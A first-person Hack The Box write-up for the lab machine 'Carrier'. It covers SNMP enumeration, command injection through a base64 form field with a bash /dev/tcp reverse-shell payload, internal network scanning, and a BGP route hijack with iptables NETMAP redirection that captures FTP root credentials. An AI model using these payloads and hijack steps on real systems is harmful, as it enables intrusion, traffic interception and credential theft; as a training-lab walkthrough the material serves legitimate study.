Details
This machine is Carrier from Hack the box and is on IP 10.10.10.105
Recon Phase
First some service discovery
root@kali:~# nmap -sV -T4 10.10.10.105
Nmap scan report for 10.10.10.105
Host is up (0.033s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.63 seconds
Shell Hunting
First the web server on http://10.10.10.105
And setup dirbuster
I went though each page, starting with /tools
Then /debug
Then /doc
I looked in the error code pdf as the main page had some errors
The errors meant the license wasn’t valid and that the default admin password was set. Looking around at the version I found the serial number could be the default password. I also looked in the png
This seemed to show a network layout. After finding nothing I moved back to nmap, checking for udp
root@kali:~# nmap -T4 -sUV 10.10.10.105
Nmap scan report for 10.10.10.105
Host is up (0.033s latency).
Not shown: 967 closed ports, 32 open|filtered ports
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; pysnmp SNMPv3 server (public)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
I tried smbwalk on it
root@kali:~# snmpwalk 10.10.10.105 -c public -v 1
iso.3.6.1.2.1.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
End of MIB
SN made me think serial number, so I tried using the creds
admin:NET_45JDX23
As the login
And the tickets submenu
This leaked some nice details, such as IP ranges
10.120.15.0/24
10.120.16.0/24
10.120.17.0/24
Lots of mentions of routes, but I needed a shell before any of this, so I went to the other page, for the Diagnostics tab
And clicked the verify button
That is the output of some form of shell command, and also mentions a tool called quagga, in the source I found a hidden input called “check” with the following value
cXVhZ2dh
Which is base64 for
quagga
So I setup burp and decided to inject extra stuff onto the end and see if it would end up in a shell, so I setup a listener
root@kali:~# nc -nlvp 4444
And tried lots of shells, base64 encoding before sending it, eventually trying
quagga; bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
Which encoded to
cXVhZ2dhOyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjcvNDQ0NCAwPiYx
Usinf burp I set the value of check to that
In the listener
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.105] 39448
bash: cannot set terminal process group (43804): Inappropriate ioctl for device
bash: no job control in this shell
root@r1:~#
I have a root shell on this machine, which seemed to easy, so I guessed there is probably more to this. So I began to dig
root@r1:~# ls -la
drwx------ 1 root root 162 Jul 3 2018 .
drwxr-xr-x 1 root root 140 Jun 22 2018 ..
-rw-r--r-- 1 root root 3121 Jul 2 2018 .bashrc
drwx------ 1 root root 40 Jul 2 2018 .cache
drwxr-xr-x 1 root root 0 Jul 2 2018 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 66 Jul 2 2018 .selected_editor
drwx------ 1 root root 52 Jul 2 2018 .ssh
-rw-r--r-- 1 root root 0 Jul 3 2018 test_intercept.pcap
-rw-r--r-- 1 root root 33 Jul 2 2018 user.txt
-rw------- 1 root root 5120 Jul 3 2018 .viminfo
Well there is the user flag
root@r1:~# cat user.txt
[REDACTED]
Now the tickets seen earlier mentioned other machines, and also an ftp server on the range 10.120.15.0/24, so I used bash to try and find the server
root@r1:/# for i in $(seq 1 255); do ping -c 1 10.120.15.$i; done | grep "bytes from"
64 bytes from 10.120.15.1: icmp_seq=1 ttl=64 time=0.065ms
64 bytes from 10.120.15.10: icmp_seq=1 ttl=63 time=0.123ms
So I tested each of these for open ports
root@r1:~# for i in $(seq 1 65535); do nc -nvz -w 1 10.120.15.1 $i 2>&1; done | grep -v "Connection refused"
Connection to 10.120.15.1 22 port [tcp/*] succeeded!
Connection to 10.120.15.1 179 port [tcp/*] succeeded!
root@r1:~# for i in $(seq 1 65535); do nc -nvz -w 1 10.120.15.10 $i 2>&1; done | grep -v "Connection refused"
Connection to 10.120.15.10 21 port [tcp/*] succeeded!
Connection to 10.120.15.10 22 port [tcp/*] succeeded!
Connection to 10.120.15.10 53 port [tcp/*] succeeded!
nc: connect to 10.120.15.10 port 28412 (tcp) timed out: Operation now in progress
nc: connect to 10.120.15.10 port 28413 (tcp) timed out: Operation now in progress
nc: connect to 10.120.15.10 port 28414 (tcp) timed out: Operation now in progress
Messing around here didn’t yield anything, so I dug further, eventually looking into the bgp mentioned earlier, and as quagga was mentioned earlier and can work with bgp I looked into it
root@r1:/usr/lib/quagga# cd /etc/quagga
root@r1:/etc/quagga# ls -la
drwxrwxr-x 1 quagga quaggavty 186 Jul 2 2018 .
drwxr-xr-x 1 root root 2988 Jul 2 2018 ..
-rw-r----- 1 quagga quagga 410 Feb 8 15:10 bgpd.conf
-rw-r----- 1 root root 410 Jul 2 2018 bgpd.conf.orig
-rw-r----- 1 quagga quagga 264 Jul 2 2018 bgpd.conf.sav
-rw-r----- 1 quagga quagga 992 Jul 1 2018 daemons
-rw-r----- 1 quagga quagga 945 Feb 8 2018 debian.conf
-rw-r----- 1 quagga quagga 289 Feb 8 15:10 zebra.conf
-rw-r----- 1 root root 289 Jul 2 2018 zebra.conf.orig
-rw-r----- 1 quagga quagga 326 Jul 2 2018 zebra.conf.sav
I then setup 3 tcpdumps to watch if my bgp attacks did anything
root@r1:/etc/quagga# tcpdump -vv -i eth0
root@r1:/etc/quagga# tcpdump -vv -i eth1
root@r1:/etc/quagga# tcpdump -vv -i eth2
And dived into the configs
root@r1:/etc/quagga# cat bgpd.conf
!
! Zebra configuration saved from vty
! 2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.11.2 remote-as 300
!
line vty
!
Here I stopped for a bit to research BGP hijacking attacks, when I came back I knew I wanted control of the 10.120.15.0/24 region but really only needed the 10.120.15.0/25 region, so I updated the config to declare them
root@r1:/etc/quagga# cat bgpd.conf
!
! Zebra configuration saved from vty
! 2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
bgp router-id 10.255.255.1
network 10.101.8.0/21
network 10.101.16.0/21
network 10.120.15.0/24
network 10.120.15.0/25
redistribute connected
neighbor 10.78.10.2 remote-as 200
neighbor 10.78.11.2 remote-as 300
!
line vty
!
And then reloaded quagga
root@r1:/etc/quagga# service quagga restart
And checked the routes
root@r1:/etc/quagga# vtysh -c 'sh ip bgp'
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete
Network Next Hop Metric LocPrf Weight Path
[SNIP]
* 10.120.15.0/24 10.78.10.2 0 200 300 i
* 10.78.11.2 0 0 300 i
*> 0.0.0.0 0 32768 i
*> 10.120.15.0/25 0.0.0.0 0 32768 i
[SNIP]
I was now advertising the best routes, so I checked my tcpdumps and saw
10.78.10.2.53148 > 10.120.15.10.ftp: Flags [S], cksum 0x2e00 (incorrect -> 0xcce3), seq 1410422282, win 29200, options [mss 1460,sackOK,TS val 2720382791 ecr 0,nop,wscale 7], length 0
Someone tried to access the ftp server, so I need to rewrite the packets so they are accessed by the machine I controlled
root@r1:/etc/quagga# iptables -t nat -F
root@r1:/etc/quagga# iptables -t nat -A PREROUTING -d 10.120.15.10 -m ttl --ttl-gt 1 -j NETMAP --to 10.78.10.1
root@r1:/etc/quagga# iptables -t nat -A POSTROUTING -s 10.78.10.1 -j NETMAP --to 10.120.15.10
This would redirect the packets to the machine I controlled
root@r1:/etc/quagga# nc -vl 10.78.10.1 21
Listening on [10.78.10.1] (family 0, port 21)
And setup my hijack again (something repeatedly reset the config of bgp)
Connection from [10.78.10.2] port 21 [tcp/ftp] accepted (family 2, sport 53760)
It worked, so next I wanted to forward this to myself so I could setup a fake ftp server, so I grabbed a static socat and transferred it to the machine I controlled
root@kali:~# nc -lnvp 2222 < ./socat
root@r1:/etc/quagga# nc 10.10.14.7 2222 > /tmp/socat
Then used socat to forward the ftp connection to my machine
root@r1:/etc/quagga# chmod +x /tmp/socat
root@r1:/etc/quagga# /tmp/socat TCP-LISTEN:21,fork,reuseaddr TCP:10.10.14.7:8009 &
I then setup my ftp server which I sourced from https://gist.github.com/scturtle/1035886/af4052431c0176382f9b9656ae2ad12a99afcf55 although I changed the port
root@kali:~# python ftp.py
Enter to end...
Then ran my hijack again
Recieved: USER root
Recieved: PASS BGPtelc0rout1ng
Recieved: SYST
'FTPserverThread' object has no attribute 'SYST'
Recieved: PASV
'FTPserverThread' object has no attribute 'PASV'
Recieved: QUIT
So I had some creds, so I turned off my hijack and tried them on the real ftp server
root@r1:/tmp# ftp -p 10.120.15.10
I had to press enter to trigger it to password prompt and used the password from earlier, then
ls -la
drwx------ 6 0 0 4096 Sep 05 14:27 .
drwxr-xr-x 23 0 0 4096 Jul 02 2018 ..
-rw-r--r-- 1 0 0 3121 Jul 02 2018 .bashrc
drwx------ 2 0 0 4096 Jul 02 2018 .cache
drwxr-x--- 3 0 0 4096 Jul 01 2018 .config
drwx------ 3 0 0 4096 Jul 02 2018 .gnupg
-rw-r--r-- 1 0 0 148 Aug 17 2015 .profile
drwx------ 2 0 0 4096 Jul 01 2018 .ssh
-rw------- 1 0 0 11080 Sep 05 14:27 .viminfo
-r-------- 1 0 0 33 Jul 01 2018 root.txt
-rw------- 1 0 0 33 Feb 08 21:34 secretdata.txt
get root.txt
get secretdata.txt
quit
And read them
root@r1:/tmp# cat secretdata.txt
[REDACTED]
root@r1:/tmp# cat root.txt
[REDACTED]
